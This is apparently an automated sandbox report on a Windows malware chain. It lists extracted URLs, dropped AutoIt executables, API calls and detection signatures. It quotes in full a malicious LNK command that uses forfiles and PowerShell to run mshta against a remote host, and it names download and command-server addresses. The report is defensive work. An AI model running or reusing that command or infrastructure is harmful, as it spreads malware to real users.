Source: powershell.exe, 00000012.00000002.2304075109.00000130E1558000.00000004.00000800.00020000.00000000.sdmp, PublicProfile.ps1.11.dr	String found in binary or memory: http://139.99.188.124/QWCheljD.txt
Source: PefjSkkhb.exe, 0000000B.00000002.2238572807.000001A112952000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124/kiiMf
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.H
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000012.00000002.2302335696.00000130DF934000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft7
Source: mshta.exe, 00000004.00000002.2280512235.000001D0EC614000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2270176062.000001D0EC613000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000005.00000002.3293299612.000001CFDD600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.5.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000006.00000002.2202478685.0000027015FB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2C37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.2166249488.0000027005F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000006.00000002.2166249488.000002700616A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tiffany-careers.com
Source: powershell.exe, 00000006.00000002.2166249488.000002700616A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tiffany-careers.com/Marketing.pdf0
Source: powershell.exe, 00000006.00000002.2166249488.00000270063DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tiffany-careers.com/PefjSkkhb.exep
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3290357798.0000000000779000.00000002.00000001.01000000.0000000E.sdmp, SwiftWrite.pif, 00000018.00000000.2426079955.0000000000359000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000006.00000002.2166249488.0000027005F41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E1331000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000005.00000003.2082990781.000001CFDD410000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2BAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000012.00000002.2304075109.00000130E24AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: mshta.exe, 00000004.00000002.2280205979.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comh
Source: powershell.exe, 00000006.00000002.2202478685.0000027015FB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2304075109.00000130E2C37000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2394092266.00000130F13A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.5.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000012.00000002.2304075109.00000130E2989000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: mshta.exe, 00000004.00000002.2280205979.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/
Source: mshta.exe, 00000004.00000003.2277213025.000001D0EC570000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269906987.000001D8F2785000.00000004.00000020.00020000.00000000.sdmp, duyba.lnk.download.lnk	String found in binary or memory: https://tiffany-careers.com/ghep2
Source: powershell.exe	String found in binary or memory: https://tiffany-careers.com/ghep2$global:?
Source: mshta.exe, 00000004.00000002.2280075784.000001D0EC573000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277213025.000001D0EC570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2%
Source: mshta.exe, 00000004.00000003.2272974753.000001D8EE7AD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269552395.000001D8EE7AB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273229589.000001D8EE7AF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2281088808.000001D8EE7AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2...
Source: forfiles.exe, 00000000.00000002.2049373136.0000019BECEE0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280293129.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2279706602.000001D0EC530000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2273283593.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2276856139.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269204608.000001D0EC5FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2C:
Source: mshta.exe, 00000004.00000002.2279297600.000001D0EC4C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2H
Source: mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2Q
Source: mshta.exe, 00000004.00000003.2270292666.000001D8F2785000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2269906987.000001D8F2785000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2d8
Source: mshta.exe, 00000004.00000003.2274189869.000001D8F2935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2https://tiffany-careers.com/ghep2
Source: mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2l
Source: mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2o
Source: mshta.exe, 00000004.00000003.2269204608.000001D0EC5C5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280174249.000001D0EC5C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2omQvj
Source: mshta.exe, 00000004.00000002.2280670724.000001D8EE70D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2s.LMEMHX
Source: mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2t
Source: mshta.exe, 00000004.00000002.2279706602.000001D0EC538000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.2280000669.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.2277367980.000001D0EC556000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghep2~
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 00000014.00000003.2314920403.00000000045BA000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000014.00000002.3293628451.0000000003841000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown

HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.5:49704 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EE0A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00007FF7C0EE0A6C

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE0D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	11_2_00007FF7C0EE0D24
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00724830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	20_2_00724830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_00304830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,	24_2_00304830

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

11_2_00007FF7C0EE0A6C

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EC8B38 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

11_2_00007FF7C0EC8B38

Source: C:\Users\Public\Guard.exe	Code function: 20_2_0073D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		20_2_0073D164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_0031D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		24_2_0031D164

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 4308, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Binary is likely a compiled AutoIt script file

Source: powershell.exe, 00000006.00000002.2202478685.00000270161B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ce7ea808-4
Source: powershell.exe, 00000006.00000002.2202478685.00000270161B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_df658e6e-8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: This is a third-party compiled AutoIt script.	11_2_00007FF7C0E537B0
Source: PefjSkkhb.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PefjSkkhb.exe, 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_07a4e04f-2
Source: PefjSkkhb.exe, 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*	memstr_97e5d35c-1

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe			Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Windows shortcut file (LNK) contains suspicious command line arguments

Source: duyba.lnk.download.lnk

LNK file: /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://tiffany-careers.com/ghep2

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0ED3E20: GetFullPathNameW,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,

11_2_00007FF7C0ED3E20

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 11_2_00007FF7C0EBCE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00007FF7C0EBCE68

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ECD750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_00007FF7C0ECD750
Source: C:\Users\Public\Guard.exe	Code function: 20_2_00715778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	20_2_00715778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 24_2_002F5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	24_2_002F5778

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF84864420E	6_2_00007FF84864420E
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EEF630	11_2_00007FF7C0EEF630
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E7C130	11_2_00007FF7C0E7C130
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E702C4	11_2_00007FF7C0E702C4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E92400	11_2_00007FF7C0E92400
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E7C3FC	11_2_00007FF7C0E7C3FC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0ED83D4	11_2_00007FF7C0ED83D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE8360	11_2_00007FF7C0EE8360
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE6320	11_2_00007FF7C0EE6320
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E74514	11_2_00007FF7C0E74514
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E884C0	11_2_00007FF7C0E884C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EFA59C	11_2_00007FF7C0EFA59C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EF055C	11_2_00007FF7C0EF055C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EFC6D4	11_2_00007FF7C0EFC6D4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E967F0	11_2_00007FF7C0E967F0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E8A8A0	11_2_00007FF7C0E8A8A0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EF0AEC	11_2_00007FF7C0EF0AEC
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E52AE0	11_2_00007FF7C0E52AE0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EE6C34	11_2_00007FF7C0EE6C34
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E96DE4	11_2_00007FF7C0E96DE4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E92D20	11_2_00007FF7C0E92D20
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0EFCE8C	11_2_00007FF7C0EFCE8C
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E70E90	11_2_00007FF7C0E70E90
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E60E70	11_2_00007FF7C0E60E70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E62E30	11_2_00007FF7C0E62E30
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 11_2_00007FF7C0E830DC	11_2_00007FF7C0E830DC
